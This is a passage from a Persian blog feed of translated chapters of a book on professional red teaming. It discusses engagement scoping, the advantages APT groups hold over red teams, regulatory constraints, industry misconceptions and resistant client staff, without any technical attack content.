<p>یک نمونه خوب از چنین شرایطی مربوط به برخی مؤسسات تحقیقاتی است. مثلاً یک آزمایشگاه تحقیقاتی دولتی ممکن است چندین کالج و دانشگاه در سطح کشور داشته باشد که همگی با اتصالاتی اختصاصی به شبکه‌های کامپیوتری این آزمایشگاه متصل شده‌اند تا کارهایی مثل به اشتراک گذاری اطلاعات، مطالعه و تحقیق را انجام دهند. خطر موجود در چنین شرایطی این است که ممکن است یکی از این سازمان‌ها تصمیم به اجرای یک ارزیابی تیم قرمز بگیرد و تیم قرمز از چنین توافقنامه‌هایی یا شیوه پیاده سازی عملی آنها آگاه نباشد. اگر تیم قرمز در حال بررسی آزمایشگاه و سپس دانشگاه‌های مختلف متصل به دانشگاه از طریق شبکه‌های خصوصی مجازی باشد، ممکن است سرشماری اهداف نشان ندهد که یکسری از میزبان‌ها متعلق به سازمانی دیگر هستند. اگر تیم قرمز مجاز به جابجایی بین کل ردپای مشخص شده در محدوده تعامل باشد، این خطر بسیار جدی وجود دارد که با یک موجودیت خارجی شبیه به یکی دیگر از زیرمجموعه‌های سازمان مشتری رفتار شود.</p>
<p>پاسخ سوالات مربوط به وجود دستگاه‌های شخص ثالث در یک سازمان، برای تعیین مرزهای قانونی محدوده ارزیابی اهمیت زیادی دارد. این دارایی‌های شخص ثالث می‌توانند نقش یکی از اجزای زیرساخت سازمان را داشته باشند یا اینکه صرفاً یکسری سازمان خارجیِ در ارتباط با سازمان مشتری باشند. اتصالاتی مثل آنچه در مثال آزمایشگاه تحقیقاتی اشاره شد، باید در همان شروع تعامل و حین بحث و گفتگو درباره محدوده تعامل مشخص شوند تا تیم قرمز درک درست و کاملی از مرزهای سازمان مورد ارزیابی پیدا کند. این کار به غیر از پیشگیری از انجام فعالیت‌های غیرقانونی توسط تیم قرمز، اطمینان ایجاد می‌کند که دارایی‌هایی مورد ارزیابی قرار می‌گیرند که انتظار حضور آنها در این تعامل وجود دارد. در غیر این صورت این خطر وجود دارد که تیم قرمز به سیستم‌های شخص ثالث یا خارجی غیرآماده آسیب وارد کند.</p>
<h2><a name="_Toc144125092"></a>خلاصه فصل چهارم</h2>
<p>در این فصل به بررسی مرحله تعیین محدوده در عملیات تیم قرمز پرداختیم و توضیح دادیم که این مرحله چطور با تعیین جنبه‌هایی مثل چه افرادی، چه چیزهایی و چه زمانی به اجرای موفقیت آمیز ارزیابی‌های امنیت تهاجمی کمک می‌کند.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> Enumeration فرآیندی است که توسط آن مهاجم اطلاعاتی از قبیل نام کاربری، اسامی ماشین‌ها (کامپیوترها)، منابع شبکه، ارتباطات یا اتصالات فعال روی سیستم هدف و برخی اطلاعات دیگر که توسط Query از سیستم مقصد به دست می‌آید را بدست می‌آورد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.peneter.com/professional-red-teaming-chapter-4/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل سوم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-3/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-3/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Thu, 28 Mar 2024 14:22:33 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1333</guid>

					<description><![CDATA[فصل سوم: امنیت تهاجمی مدرن در فصل‌های قبلی به بررسی مزایای پیاده سازی تیم قرمز و سایر خدمات مشابه در یک سازمان با کمک هکرهای...]]></description>
										<content:encoded><![CDATA[<h2>فصل سوم: امنیت تهاجمی مدرن</h2>
<p>در فصل‌های قبلی به بررسی مزایای پیاده سازی تیم قرمز و سایر خدمات مشابه در یک سازمان با کمک هکرهای اخلاقی پرداختیم. حالا در این فصل، به مرور چالش‌ها و موانع کنونی برای دستیابی به قابلیت‌های امنیت تهاجمی می‌پردازیم. مشکلات این صنعت بی‌شمار هستند اما من به این نتیجه رسیدم که فراگیرترین این مشکلات مربوط به چند حوزه خاص هستند. تیم‌های قرمز همواره در نبردی بی‌پایان با مهاجمانی هستند که قرار است رفتار آنها را شبیه‌سازی کنند. استانداردهای مربوط به صنعت امنیت تهاجمی معمولاً مانع ارزیابی درست شده یا برای این کار مناسب نیستند. ماهیت خدمات ارایه شده به گونه‌ای است که باعث خصمانه شدن روابط با مشتریان می‌شود &#8211; واقعیتی که معمولاً منجر به ایجاد مشکلاتی واقعی برای ارزیابان و مشتریان آنها می‌شود. با فرض اینکه امکان رسیدگی به همه این محدودیت‌های ارزیابی وجود داشته باشد، باز هم برای تشکیل یک تیم قرمز موفق و کارآمد، باید به مسائل و چالش‌های مربوط به پرسنل رسیدگی کرد. در این فصل وضعیت محصولات امنیت دفاعی مدرن را از منظر این چالش‌ها بررسی می‌کنیم.</p>
<h2><a name="_Toc144125061"></a>چالش تهدیدات پیشرفته مستمر (APT<a href="#_ftn1" name="_ftnref1"><sup><strong>[1]</strong></sup></a>)</h2>
<p>هدف و قصد تیم قرمز، شبیه‌سازی رفتار یک یا چند تهدید برای یک سازمان است به صورتی که سازمان آمادگی لازم را برای روبرو شدن با تهدیدات واقعی پیدا کند. انبوه حملات بالقوه و تهدیدات بسیار خطرناک &#8211; مثل APT‌ها &#8211; چالش‌های زیادی برای اعضای تیم قرمز یا فروشنده‌های ابزارهای تست نفوذ ایجاد می‌کنند.</p>
<p>تعریف دقیق APT سخت و زمان‌بر است چون تعاریف و کاربردهای مختلفی برای آن ارایه شده است. برای هدف و موضوع این مطلب، ما فرض می‌کنیم که APTها عوامل مخربی در فضای سایبری هستند که منابع خوبی در اختیار دارند، دارای اهدافی مشخص هستند و با تلاش‌هایی سازمان یافته سعی به رسیدن به این اهداف دارند. این تعریف، مؤسسات و نهادهایی که توسط دولت‌ها پشتیبانی می‌شوند و گروه‌های مجرم سازمان یافته را هم پوشش می‌دهد. از جمله APTهای دولتی می‌توان به سازمان‌های سایبری مثل NSA در آمریکا، ستاد ارتباطات ویژه روسیه یا وزارت امنیت کشور چین اشاره کرد. همچنین، فعالیت‌های زیادی با پشتیبانی دولت‌ها وجود دارند که APT در نظر گرفته می‌شوند و در واقع شامل همه سازمان‌هایی هستند که از دولت بودجه دریافت می‌کنند تا حملات سایبری سازگار با اهداف آن سازمان اجرا کنند. اصطلاح APT در قالب جرایم سازمان یافته، دو کاربرد دارد. این اصطلاح می‌تواند اشاره به جرایم سازمان یافته سنتی مثل گروه‌های مافیا یا کارتل‌هایی داشته باشد که برای رسیدن به اهدافی خاص از حملات سایبری استفاده می‌کنند اما از این اصطلاح برای توصیف هر گروه هکری که با انگیزه‌های مشترک، اقدامات مجرمانه سازمان یافته انجام می‌دهد هم استفاده می‌شود مثل هکتیویست‌ها و خیلی دیگر از گروه‌های سازمان یافته مثل لازاروس<a href="#_ftn2" name="_ftnref2">[2]</a>.</p>
<h3><a name="_Toc144125062"></a>توانمندی بیشتر</h3>
<p>صرف نظر از انگیزه گروه‌های APT، این افراد برای نفوذ به سازمان‌ها نسبت به تیم‌های قرمز روزبروز توانمندتر می‌شوند. توانمندی به خطر انداختن اهداف بالقوه در حملات سایبری، به در اختیار داشتن منابع بستگی دارد. یک APT نسبت به یک تیم قرمز به پول و منابع بیشتری دسترسی دارد. پرسنل، یکی از اجزای این توانمندی هستند. بسیاری از گروه‌های APT قابلیت پیشی گرفتن از پرسنل هر تیم قرمزی را دارند چه با در اختیار داشتن تعداد زیادی دارایی سایبری و چه با پرداخت هزینه‌های زیاد برای استخدام هکرهای بااستعداد.</p>
<p>یک APT بسته به نوع هدفش ممکن است چه برای استخدام افراد و چه خرید جدیدترین و بهترین ابزارها، میلیون‌ها دلار یا بیشتر هزینه کند. بنابراین این گروه‌ها، توانایی خرید ابزارهایی که ممکن است یک تیم قرمز به آنها دسترسی نداشته باشد را دارند مثل ابزارهای بسیار قدرتمند برای کرک کردن رمزهای عبور، نرم‌افزار فازینگ<a href="#_ftn3" name="_ftnref3">[3]</a> و فریم ورک‌های بهره برداری بسیار پیشرفته. همچنین گروه‌های APT برای خرید محصولات و خدمات به قوانین پایبند نیستند بنابراین ممکن است ابزارها را از منابع غیرمجازی بخرند که یک تیم قرمز امکان دسترسی و خرید قانونی از آنها را ندارد. از جمله این ابزارها و منابع می‌توان به اطلاعات شخصی اشاره کرد که به اجرای حملات مهندسی اجتماعی کمک می‌کنند مثل شماره ملی، شماره کارت بانکی و اطلاعات دیگر؛ همچنین ابزارهایی که از سازمان‌های دولتی یا سازمان‌های دیگری خریداری می‌شوند که یک تیم قرمز طبق قانون اجازه خرید یا استفاده از آنها را ندارد.</p>
<p>منابع دیگری که برخی از APTها به آنها دسترسی دارند هم یکی دیگر از ویژگی‌های آنها است که ممکن است یک تیم قرمز امکان دسترسی به آنها را نداشته باشد. در مقایسه با APTها &#8211; به خصوص گروه‌های دولتی که ممکن است یک سازمان را هدف بگیرند &#8211; تیم‌های قرمز به امکاناتی مثل دستگاه جمع آوری اطلاعات از دولت‌های خارجی دسترسی ندارند. منابع دیگری هم هستند که APTهای دولتی با بودجه زیاد به آنها دسترسی دارند مثل نفوذ در شرکت‌های همان کشور یا حتی کشورهای دیگر. حتی برخی از گروه‌های APT این قدرت را دارند که از تولیدکننده‌ها درخواست کنند در سیستم‌ها یا اپلیکیشن‌هایی که قرار است به دست سازمان‌های هدف برسند، درهای پشتی نرم‌افزاری یا سخت‌افزاری ایجاد کنند. ممکن است برخی از این گروه‌ها امکان مداخله در زنجیره تأمین را داشته باشند و به محصولاتی که قرار است به دست سازمان هدف برسند، نفوذ کرده و آنها را برای رسیدن به اهدافشان دستکاری کنند.</p>
<h3><a name="_Toc144125063"></a>زمان بیشتر</h3>
<p>معمولاً تعاملات تیم قرمز در یک بازه زمانی خاص انجام می‌شوند. حتی در شرایطی که سازمانی یک تیم قرمز داخلی قوی دارد، باز هم ممکن است این تیم در زمان‌های مختلف روی گزینه‌های متفاوتی برای سازمان متمرکز شده و برای همیشه یک زیرمجموعه خاص را هدف نگیرد. در بسیاری از مواقع، ارزیابی‌های امنیت تهاجمی در بازه‌های زمانی دو هفته الی یک ماه انجام می‌شود تا کل سازمان ارزیابی شود. وقتی این کار توسط سازمان‌های دیگر انجام می‌شود، یک قرارداد برای آن در نظر گرفته می‌شود که زمانبندی دقیق ارزیابی را مشخص کرده و انعطاف پذیری زمانی را برای هکرهای اخلاقی از بین می‌برد. همچنین بعید است که یک سازمان محض احتیاط تصمیم بگیرد که تلاش‌های تیم قرمز جهت نفوذ به سیستم‌ها در آخر هفته‌ها یا پس از ساعات کاری انجام شوند که کارمندان در سازمان حضور ندارند.</p>
<p>وقتی چنین زمانبندی‌هایی را با برنامه کار APTها مقایسه کنید، متوجه برتری‌های آنها می‌شوید. حتی در صورت برابر بودن منابع، یک APT برای یک دلیل و هدف خاص یک سازمان را هدف می‌گیرد. به همین دلیل، این انگیزه احتمالاً باعث می‌شود که حمله سایبری تا زمان رسیدن به آن هدف ادامه پیدا کند و هیچ بازه زمانی مشخصی برای آن وجود نداشته باشد. در صورت مهم بودن هدف ممکن است یک APT برای چند سال روزها، شب‌ها و حتی آخر هفته‌ها کار کند اما تیم‌های قرمز قادر به شبیه‌سازی این ویژگی نیستند.</p>
<h3><a name="_Toc144125064"></a>نامحدود بودن قلمروی فعالیت</h3>
<p>محدوده فعالیت یک تیم قرمز یا اجراکننده تست نفوذ، شامل زیرمجموعه‌ای از سازمان است که با ارزیابی آن موافقت می‌شود. این محدوده در اصل یک توافقنامه است که مشخص می‌کند حمله به چه اشخاص یا چه چیزهایی مجاز است. متأسفانه، گروه‌های APT هنگام اجرای حملات سایبری، خودشان را به یک محدوده و قلمروی خاص محدود نمی‌کنند. گروه‌های APT می‌توانند کارهایی مثل هدف گیری افراد یا مدیران خاص را انجام دهند تا به دستگاه‌های کارمندان نفوذ کرده و امکان اجرای حمله بر علیه سازمان را فراهم کنند. قطعاً چنین فعالیتی خارج از محدوده کار و اختیارات قانونی تیم قرمز قرار دارد. در همین راستا، گروه‌های APT می‌توانند از منابع خودشان برای اخاذی از افراد استفاده کنند تا اطلاعات یا دسترسی‌هایی را در اختیارشان قرار دهند که برای نفوذ به سازمان مورد نظر مفید هستند.</p>
<p>همچنین، تیم قرمز و سازمان مشتری آن هم با استفاده از این محدوده‌ها اطمینان حاصل می‌کنند که حین ارزیابی، نفوذی در دستگاه‌های بسیار مهم یا ناپایدار انجام نمی‌شود. بعلاوه، گروه‌های APT چنین توافقنامه‌هایی را امضا نمی‌کنند و می‌توانند اکسپلویت‌ها را با وجود احتمال از کار افتادن سیستم‌ها اجرا کنند و حتی سعی کنند به اهداف بسیار ناپایدار نفوذ کنند بدون اینکه نیاز به نگرانی درباره از کار افتادن یا آسیب دیدن سیستم‌ها داشته باشند. در واقع، APTها می‌توانند کارهایی مثل حذف داده‌ها یا حساب‌های کاربری، از کار انداختن دستگاه‌ها یا سرویس‌ها را انجام دهند تا منجر به ایجاد واکنش‌هایی از سمت سازمان هدف شوند که به اجرای حمله سایبری کمک می‌کنند. می‌توان از این کارها برای اجرای موفقیت آمیز مهندسی اجتماعی، دور کردن تمرکز سازمان از فعالیت‌های دیگر یا وادار کردن سازمان به رفتارهایی که امکان نفوذ به اهداف اصلی را فراهم می‌کنند، استفاده کرد. معمولاً چنین رفتارها و امکاناتی در تیم‌های قرمز مشاهده نمی‌شود.</p>
<h3><a name="_Toc144125065"></a>نداشتن قوانین تعامل</h3>
<p>محدوده حمله مشخص می‌کند که امکان حمله به چه چیزهایی وجود دارد اما قوانین تعامل (<a href="#_ftn4" name="_ftnref4">[4]</a>ROE) مشخص می‌کنند که تیم قرمز چطور می‌تواند به اهداف مشخص شده حمله کند. این توافقنامه بین سازمان و تیم قرمز یا اجرا کننده تست نفوذ، مشروعیت ارزیابی را مشخص کرده و می‌تواند از سازمان در برابر سهل انگاری‌های فاحش تیم قرمز حفاظت کند. هک کامپیوتر یک فعالیت غیرقانونی است و ROE شرایط ارزیابی، مجوزها، دسترسی‌ها و فرایندهای مورد نیاز را برای ارزیابان فراهم می‌کند.</p>
<p>در مقابل، گروه‌های APT در حملات سایبری خودشان همواره قانون شکنی می‌کنند و نگران پایبند ماندن به یک ROE خاص نیستند. یک گروه APT، از هر آنچه برای رسیدن به هدف مفید باشد استفاده می‌کند. قطعاً این کار احتمال موفقیت گروه‌های APT را نسبت به تیم قرمز برای نفوذ به سیستم‌ها افزایش می‌دهد چون گروه‌های APT محدودیت‌های مشخصی ندارند که مشتری‌ها برای آنها تعیین کرده باشند. مهاجمان ATP در مقایسه با تیم‌های قرمز می‌توانند در حملاتشان بر ضد سازمان هدف خلاقانه‌تر و بی‌پرواتر اقدام کنند و استفاده از این واقعیت توسط آنها می‌تواند پیامدهای ویرانگری داشته باشد.</p>
<h2><a name="_Toc144125066"></a>چالش‌های محیطی</h2>
<p>صنعت امنیت سایبری و محیط کلی دنیای مدرن که تیم‌های قرمز در آنها فعالیت دارند، موانع جدی و متنوعی برای اجرای موفقیت آمیز تعاملات امنیت تهاجمی ایجاد می‌کنند. این موانع بسیار متنوع و مختلف هستند از فقدان ابتکار و نوآوری گرفته تا تصورات کلی اشتباه این صنعت درباره تیم قرمز.</p>
<h3><a name="_Toc144125067"></a>استانداردهای مقرراتی</h3>
<p>استانداردهای مقرراتی می‌توانند به دلیل سختگیری‌هایی که برای فعالیت تیم قرمز در نظر می‌گیرند، مشکل آفرین باشند. بعلاوه، وقتی استانداردی وجود ندارد یا استانداردهای موجود بسیار مبهم و کلی هستند هم امکان ایجاد مشکل وجود دارد. سازمان‌هایی که به دنبال ساختن یک تیم قرمز یا استفاده از امنیت تهاجمی هستند اغلب سیاست‌های سختگیرانه‌ای برای استفاده از داده‌ها دارند و باید حین تعیین چارچوب کلی توافقنامه تعاملات تیم قرمز، به صورت مورد به مورد آنها پرداخت. علاوه بر این، برای کار با برخی از انواع داده‌ها، قوانین صنعتی و کشوری وجود دارند که سازمان‌ها باید آنها را رعایت کنند. به همین دلیل، همه فعالیت‌های تیم قرمز در چنین سازمان‌هایی باید مطابق با سیاست‌ها و قوانین مربوطه انجام شوند. از جمله این داده‌ها می‌توان به اطلاعات سلامت اشاره کرد که توسط قانون HIPAA از آنها حفاظت می‌شود همچنین اطلاعات طبقه بندی شده و هویتی. فعالیت در شبکه‌هایی که داده‌های حفاظت شده خاصی را ذخیره یا جابجا می‌کنند هم می‌تواند برای تیم قرمز محدودیت ایجاد کند چون تیم قرمز باید علاوه بر اجرای درست مأموریت اصلی خودش، به استانداردهای موجود برای حفاظت از این داده‌ها پایبند باشد.</p>
<p>برای مثال فرض کنید &#8211; هنگام نفوذ به یکی از میزبان‌های شبکه که حاوی داده‌های HIPAA است &#8211; ارزیاب تیم قرمز اطلاعات سلامت افرادی خاص یا حتی افراد مافوق خودش در شرکت را مشاهده می‌کند. از منظر مقرراتی این یک اتفاق وحشتناک است و می‌تواند از نظر روابط محیط کار و تضاد منافع هم مشکل آفرین شود. به ویژه هنگام ارزیابی شبکه‌های طبقه بندی شده، ممکن است ارزیاب‌ها حین اجرای تست اطلاعاتی را جمع آوری کنند که سرجمع کردن آنها قابلیت طبقه بندی را افزایش دهد یا حتی ممکن است ارزیاب‌ها با مشکلاتی مثل اشتباه در طبقه بندی داده‌ها روبرو شوند که همه این شرایط می‌توانند منجر به بروز یک حادثه امنیتی شوند که حالا باید علاوه بر تعاملات تیم قرمز به این حادثه هم رسیدگی کرد. می‌توان درک کرد که از نظر پایبندی به قوانین چنین استانداردهایی چطور می‌توانند باعث سخت‌تر شدن کار تیم‌های قرمز شوند اما ممکن است این استانداردها نیاز به صدور مجوز یا گواهینامه‌های خاصی را برای اجرای ارزیابی ایجاد کنند. ایجاد چنین محدودیت‌هایی برای حوزه فعالیت تیم قرمز که همین حالا هم از نظر جذب استعداد با چالش روبرو است می‌تواند برای اجرای موفقیت آمیز تعاملات امنیت تهاجمی در یک سازمان محدودیت‌های چشمگیری ایجاد کند.</p>
<h3><a name="_Toc144125068"></a>محدودیت نوآوری</h3>
<p>احتمالاً از نظر خیلی از مخاطبان این مطلب، &#8220;محدودیت نوآوری&#8221; جزء موانع کلی برای تیم قرمز نیست. شاید شما هم این استدلال را مطرح کنید که سازمان یا شرکت شما یک سیستم اختصاصی برای فرایندهای امنیت تهاجمی داشته و همواره در حال ابتکار و نوآوری است. این دیدگاه برای بسیاری از مواقع درست است اما بهتر است کمی بیشتر این موضوع را شفاف سازی کنیم. در این حوزه دائماً شاهد ابتکار و نوآوری هستیم؛ بسیاری از باهوش‌ترین و مستعدترین کارشناسان امنیت در این صنعت فعالیت دارند و هکرها هم &#8211; طبق ماهیت کارشان &#8211; خلاقانه عمل می‌کنند. با این حال، تعداد شرکت‌ها یا سازمان‌هایی که استراتژی‌های تیم قرمز یا تنظیمات خاص تست نفوذشان را در اختیار دیگران قرار دهند، زیاد نیست. اما این رویکرد قابل درک است چون ممکن است خیلی از شرکت‌ها چنین ابتکاراتی را جزء اسرار تجاری در نظر بگیرند و تیم‌های قرمز درون سازمانی هم آنها را جزء اطلاعات امنیتی مهم تلقی کنند. بنابراین جای تعجب نیست که در رابطه با ارتقای عملکرد تیم قرمز از منظر تجاری و فرایندی، اطلاعات زیادی موجود است. فروشنده‌ها از فروش نسخه‌های جدید ابزارهای امنیتی خودشان راضی هستند اما توضیح نمی‌دهند که هکرهای اخلاقی خودشان چطور شبکه‌ها را هک می‌کنند چون این کار قدرت رقابت آنها را کاهش می‌دهد.</p>
<p>دشواری ارایه ابتکارات آکادمیک واقعی هم نوآوری را محدودتر می‌کند. ما بسیاری از فناوری‌های ارایه شده توسط بخش دانشگاهی برای اتوماسیون یا امنیت تهاجمی را امتحان کرده‌ایم اما هیچ مطالعه‌ای پیدا نشد که توضیح دهد چطور می‌توان مانور تیم قرمز را ارتقاء داد تا به چالش‌هایی که در حال حاضر درباره آنها بحث می‌کنیم، رسیدگی شود. پس از سال‌ها تحقیق و مطالعه برای مقطع دکتری، هیچ نوآوری در زمینه تست نفوذ یا تیم قرمز پیدا نکردم که متمرکز بر یک ابزار یا یک مدل تحلیل و هدف گیری خاص نباشد. نوشته‌های محدودی درباره یکسری اصلاحات نوآورانه برای مانورهای تیم قرمز نظامی وجود دارد اما نمی‌توان آنها را برای حوزه سایبری به کار بست. همانطور که در فصل دوم هم اشاره شد، دو دلیل وجود دارد. اول اینکه اکثر دانشگاهیانی که پایان نامه منتشر می‌کنند، تجربه امنیت تهاجمی ندارند و اکثر کارشناسان امنیت تهاجمی هم بیشتر نگران پیشرفت حرفه‌ای هستند تا اخذ مدارک رده بالا. دوماً ارزیابی موفقیت یا شکست یک فرضیه در حوزه امنیت تهاجمی به صورت قابل دفاع کار بسیار سختی است چون نیاز به مهارت‌های فنی بسیار بالا و همچنین مشارکت زیاد انسان در فرایند ارزیابی دارد.</p>
<p>این حقایق باعث شده‌اند که اطلاعات کمی درباره نوآوری در فرایندهای تیم قرمز در دسترس باشد. انجمن‌های دانشگاهی هنوز یک مجموعه علمی کامل در این زمینه ندارند و بیشتر افرادی که در این حوزه شاغل هستند، به دلایلی قابل درک تمایلی به انتشار نتایج و اطلاعات کارشان ندارند. این یعنی برای شروع یک عملیات تیم قرمز در سازمان‌ها، باید دانش این کار از افراد مجرب یا از طریق ارزیابی‌های خطرناکی که توسط کارمندان بی‌تجربه انجام می‌شود، جمع آوری شود. حتی اگر موضوع ابتکار و نوآوری را نادیده بگیریم، باز هم عملیات تیم قرمز فعالیتی است که به مرور زمان با شرایط سازمان تطبیق داده می‌شود و حتی افراد مجرب و واجد شرایط هم در طول مراحل ارزیابی و تست درباره سازمان هدف به نکات جدیدی دست پیدا می‌کنند. می‌توان گفت که اجرای یک ارزیابی بهینه توسط تیم قرمز، حاصل ترکیبی کامل از مجموعه مهارت‌های پرسنل، تجربه، تکنیک‌های اطلاعاتی، ابتکارات داخلی و همچنین آشنایی کاری با مجموعه هدف است.</p>
<h3><a name="_Toc144125069"></a>باورهای غلط</h3>
<p>در رابطه با عملیات تیم قرمز دیدگاه‌ها و تصورات غلط زیادی وجود دارد اما چند مورد از آنها بر عملکرد کلی امنیت تهاجمی چه توسط یک تیم درون سازمانی و چه توسط فروشنده این راهکارها تأثیر بیشتری دارند. اولین مورد، نبود یک تعریف واضح و درست از ارزیابی تیم قرمز یا تست نفوذ است. همچنین بین ارایه دهندگان این خدمات و مشتریان آنها دیدگاه‌های خطرناک غلطی درباره چنین تعاملاتی وجود دارد.</p>
<p>ممکن است تعریف تیم قرمز یا تست نفوذ کم اهمیت یا بدیهی به نظر برسد اما مشکل اینجاست که دائماً شاهد تغییر و پیچیده‌تر شدن تعریف و تعیین آنچه باید در یک تست انجام شود هستیم. این شرایط از چند جنبه بر امنیت سازمانی و همچنین بر خود این صنعت (به عنوان یک مشکل در اصول کسب و کار) تأثیرگذار است. من با سازمان‌هایی گفتگو کردم که بر اساس الزامات سیاست امنیتی خودشان نیاز به اجرای ارزیابی در یک بازه زمانی معین داشتند. هر از گاهی مشاهده کردم که چنین سازمان‌هایی درخواست یک اسکن آسیب‌پذیری خودکار را دارند که می‌توان به آن &#8220;تست نفوذ&#8221; گفت تا بتوانند همزمان با صرفه جویی در منابع و زمان، الزامات تعیین شده در سیاست‌ها را برآورده کنند. همچنین مشاهده شده که برای پیشگیری از تأثیرگذاشتن تست‌های اجباری بر تجهیزات عملیاتی، یک تست نفوذ یا عملیات تیم قرمز غیرتهاجمی (مثل اسکن) انجام می‌شود فقط با این هدف که الزامات قانونی و استانداردها رعایت شده باشند. به غیر از اینکه چنین برچسب گذاری نامناسب است و این روش یک استفاده ضعیف از منابع هک اخلاقی محسوب می‌شود، این احتمال خطرناک را هم به همراه دارد که باعث ایجاد حس امنیت کاذب در سازمان می‌شود. بعلاوه، مشاهده می‌شود که در اثر افزایش تقاضا برای امنیت تهاجمی، ارایه دهندگان این خدمات از افراد کم مهارت‌تر استفاده می‌کنند تا اسکن آسیب‌پذیری را انجام دهند و این خدمات را به عنوان تست نفوذ تبلیغ می‌کنند. این رویکرد هم منجر به ایجاد همان مشکلات و تضعیف وضعیت امنیتی می‌شود.</p>
<p>در این قسمت به بررسی برخی دیدگاه‌های غلط موجود در خود این صنعت می‌پردازیم که کاملاً غیرمنطقی هستند و می‌توانند ماهرترین تیم‌های قرمز را هم با چالش روبرو کنند. اولین دیدگاه نادرست، انتظارات غیرواقع گرایانه است. من در مذاکرات قراردادی مختلفی حضور داشته‌ام که مشتریان در آنها ادعا می‌کنند که خواستار یک چرخه تست نفوذ دو هفته‌ای هستند. همچنین، اغلب این مشتریان انتظار دارند که حمله کوتاه از بیرون سازمان آغاز شود. یک دیدگاه غلط درباره امنیت تهاجمی این است که برای اینکه یک تست نفوذ اطلاعات مفیدی درباره دستگاه امنیتی سازمان ارایه دهد، این فرایند باید از بیرون سازمان شروع شود تا شبیه یک حمله واقعی باشد. من به شخصه شاهد بوده‌ام که برخی همکاران احساس می‌کنند اگر حملات را از بیرون سازمان انجام ندهند، شبیه هکرهای واقعی نیستند. گاهی اوقات در نظر گرفتن این قید برای یک ارزیابی یا حداقل برای بخشی از آن خوب است اما تلاش برای انجام ارزیابی در یک بازه زمانی محدود با در نظر گرفتن این شرط که حمله باید از بیرون سازمان آغاز شود، تأثیری جز افزایش هزینه‌ها ندارد. در بسیاری از مواقع، نفوذ به سازمان از بیرون می‌تواند هفته‌ها یا ماه‌ها زمان ببرد و پس از به دست آمدن این دسترسی‌ها، ارتقای سطح دسترسی و حرکت عرضی درون سازمان با سرعت چشمگیری انجام می‌شود. من به شخصه ترجیح می‌دهم که برای حفاظت از سازمان خودم، آسیب‌پذیری‌های بسیار خطرناک ارتقای سطح دسترسی و حرکت عرضی را شناسایی کنم تا شناسایی آسیب‌پذیری‌های خارجی محدودی که امکان تشخیص آنها با روش‌های اسکن مناسب وجود دارد.</p>
<p>دیدگاه غلط بعدی این است که شکست جزء گزینه‌ها نیست. واقعیت این است که احتمال شکست خوردن وجود دارد چون ممکن است در بازه زمانی کوتاه تعیین شده برای این کار، کارزارهای مهندسی اجتماعی یا اجرای کد از راه دور با موفقیت انجام نشوند تا هکرهای اخلاقی بتوانند به سازمان نفوذ کنند. در نتیجه، ممکن است گزارش ارزیابی بسیار مختصر و فقط حاوی آسیب‌پذیری‌های کوچک یا اثبات نشده و توضیح تلاش‌های تیم برای به دست آوردن دسترسی‌ها باشد تا حداقل مدیریت سازمان مطلع باشد که قرار است در برابر چه چیزهایی از خود دفاع کند. دیدگاه غلط این است که چنین نتایجی قابل قبول نیستند. این شرایط ناشی از روش طی کردن فرایند ارزیابی است و می‌توان با ابتکار و نوآوری در این فرایندها، آن را تغییر داد.</p>
<h2><a name="_Toc144125070"></a>مشتریان متخاصم</h2>
<p>در این قسمت به یکی از چالش‌های واقعی اجرای موفقیت آمیز تعاملات تیم قرمز می‌پردازیم. کار ما به عنوان کارشناس امنیت تهاجمی، با تلاش برای فریب دادن دیگران، پیشی گرفتن از آنها یا شناسایی نقطه ضعف‌های سازمان‌های مشتری خودمان انجام می‌شود و امیدواریم که آنها پس از این کارها و خجالت زده شدن‌شان، همچنان مایل به ادامه همکاری با ما باشند. بعلاوه، ناکامی در گول زدن، دور زدن یا سوء استفاده از مشتریان می‌تواند باعث ایجاد این دیدگاه شود که خدمات ارایه شده کیفیت لازم را نداشته و نباید در آینده باز هم از آن استفاده کرد. از منظر امنیت تهاجمی، در سازمان‌های مشتری سه گروه از افراد وجود دارند که عبارتند از: پرسنل فنی که کار مدیریت و حفظ امنیت سازمان را برعهده دارند، پرسنل مدیریتی که مسئول حفظ رفاه و عملیات سازمانی هستند و پرسنل کاربری.</p>
<h3><a name="_Toc144125071"></a>پرسنل فنی</h3>
<p>پرسنل فنی کاربرانی هستند که اختیاراتی فراتر از ایجاد ورودی‌های معمولی برای وضعیت امنیتی سازمان دارند. این گروه شامل مدیران، پرسنل زیرساخت، پرسنل امنیتی و افراد مختلف دیگری است که ارتباط مستقیمی با وضعیت امنیتی کلی سازمان دارند از جمله اشخاصی که در بخش تضمین اطلاعات<a href="#_ftn5" name="_ftnref5">[5]</a> کار می‌کنند. این گروه سه نوع مشکل اساسی برای اجرای موفقیت آمیز مأموریت تیم قرمز ایجاد می‌کنند که همگی مربوط به مسائل خجالت زده شدن و غیرحرفه‌ای بودن هستند که در قالب ترس از دست دادن شغل یا اعتبارشان نمایان می‌شوند. هر سه مثال زیر در ارزیابی‌هایی که من در آنها مشارکت داشته‌ام رخ داده‌اند و البته از خیلی از همکاران هم داستان‌های مشابهی را شنیده‌ام.</p>
<p>هنگام شروع ارزیابی، برخی از پرسنل فنی سعی داشتند مواردی را که واقعاً نیاز به ارزیابی داشتند، از حوزه ارزیابی خارج کنند. این کار معمولاً به این دلیل انجام می‌شود که پرسنل فنی از وجود حفره‌هایی اطلاع دارند که احتمال پیدا شدن آنها وجود دارد یا به این دلیل که رسیدگی به این اهداف جزء مسئولیت‌های مستقیم این پرسنل است و مایل نیستند که روی آنها ارزیابی انجام شود. وقتی چنین اتفاقی رخ می‌دهد، می‌تواند باعث ایجاد یک تقابل در فرایند محدوده بندی شود و در بسیاری از مواقع شخص فنی همان شخصی است که قرار است تعیین محدوده را تأیید کند یا رابطه کاری مستقیمی با تأیید کننده دارد. بنابراین، می‌توان انتظار داشت که در بیشتر مواقع مسئولان ارزیابی در این تقابل شکست بخورند.</p>
